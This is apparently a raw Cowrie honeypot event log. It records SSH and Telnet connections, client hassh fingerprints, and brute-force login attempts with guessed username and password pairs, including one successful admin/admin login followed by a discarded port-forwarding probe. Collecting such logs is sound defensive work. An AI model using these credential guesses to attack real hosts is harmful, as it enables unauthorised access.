{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.249777Z","src_ip":"87.251.64.176","session":"3c2642c6aef5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.539756Z","src_ip":"87.251.64.176","session":"3c2642c6aef5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.639531Z","session":"3c2642c6aef5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.738166Z","src_ip":"87.251.64.176","session":"3c2642c6aef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:53.974463Z","src_ip":"87.251.64.176","session":"3c2642c6aef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:55.593137Z","src_ip":"213.209.159.158","session":"8d5341ef7cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":11076,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f8d180462e","protocol":"ssh","message":"New connection: 213.209.159.158:11076 (159.203.135.109:22) [session: 11f8d180462e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:55.672291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:57.791097Z","src_ip":"213.209.159.158","session":"11f8d180462e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:05:57.794078Z","src_ip":"213.209.159.158","session":"11f8d180462e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"......","message":"login attempt [root/......] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:07.338159Z","src_ip":"213.209.159.158","session":"11f8d180462e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53690,"dst_ip":"10.17.0.5","dst_port":22,"session":"634ad71b818a","protocol":"ssh","message":"New connection: 103.153.68.219:53690 (10.17.0.5:22) [session: 634ad71b818a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:09.339458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:09.342860Z","src_ip":"103.153.68.219","session":"634ad71b818a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:09.591080Z","src_ip":"103.153.68.219","session":"634ad71b818a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqwww","message":"login attempt [root/qqqwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:10.336037Z","src_ip":"103.153.68.219","session":"634ad71b818a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:10.588814Z","src_ip":"213.209.159.158","session":"11f8d180462e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57276,"dst_ip":"159.203.135.109","dst_port":22,"session":"35f329fdd7e9","protocol":"ssh","message":"New connection: 213.209.159.158:57276 (159.203.135.109:22) [session: 35f329fdd7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:10.667944Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:11.587110Z","src_ip":"103.153.68.219","session":"634ad71b818a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:12.869897Z","src_ip":"213.209.159.158","session":"35f329fdd7e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:12.873325Z","src_ip":"213.209.159.158","session":"35f329fdd7e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nicholas","password":"nicholas","message":"login attempt [nicholas/nicholas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:22.347319Z","src_ip":"213.209.159.158","session":"35f329fdd7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:25.464822Z","src_ip":"213.209.159.158","session":"35f329fdd7e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19258,"dst_ip":"159.203.135.109","dst_port":22,"session":"268f70a61553","protocol":"ssh","message":"New connection: 213.209.159.158:19258 (159.203.135.109:22) [session: 268f70a61553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:25.543857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:28.005585Z","src_ip":"213.209.159.158","session":"268f70a61553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:28.009276Z","src_ip":"213.209.159.158","session":"268f70a61553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root=1234","message":"login attempt [root/Root=1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:37.421052Z","src_ip":"213.209.159.158","session":"268f70a61553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40560,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb9d043378d","protocol":"telnet","message":"New connection: 152.42.224.71:40560 (10.17.0.5:23) [session: 3cb9d043378d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:39.897547Z"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:40.971697Z","src_ip":"213.209.159.158","session":"268f70a61553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4602,"dst_ip":"159.203.135.109","dst_port":22,"session":"e48906e997bc","protocol":"ssh","message":"New connection: 213.209.159.158:4602 (159.203.135.109:22) [session: e48906e997bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:41.110780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:43.211776Z","src_ip":"213.209.159.158","session":"e48906e997bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:43.215603Z","src_ip":"213.209.159.158","session":"e48906e997bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":45666,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd7dbb7cc28","protocol":"telnet","message":"New connection: 213.108.3.46:45666 (10.17.0.5:23) [session: acd7dbb7cc28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:48.131410Z"}
{"eventid":"cowrie.session.closed","duration":0.015542268753051758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:48.146834Z","src_ip":"213.108.3.46","session":"acd7dbb7cc28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":54514,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bbaf72c5073","protocol":"ssh","message":"New connection: 37.233.85.71:54514 (10.17.0.5:22) [session: 5bbaf72c5073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:52.054793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:52.058080Z","src_ip":"37.233.85.71","session":"5bbaf72c5073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:52.157398Z","src_ip":"37.233.85.71","session":"5bbaf72c5073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:52.456390Z","src_ip":"37.233.85.71","session":"5bbaf72c5073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"------------","message":"login attempt [root/------------] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:52.715997Z","src_ip":"213.209.159.158","session":"e48906e997bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:53.558714Z","src_ip":"37.233.85.71","session":"5bbaf72c5073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:56.013861Z","src_ip":"213.209.159.158","session":"e48906e997bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":59234,"dst_ip":"159.203.135.109","dst_port":22,"session":"373346538d69","protocol":"ssh","message":"New connection: 213.209.159.158:59234 (159.203.135.109:22) [session: 373346538d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:56.098287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:58.257018Z","src_ip":"213.209.159.158","session":"373346538d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:06:58.260812Z","src_ip":"213.209.159.158","session":"373346538d69","protocol":"ssh"}
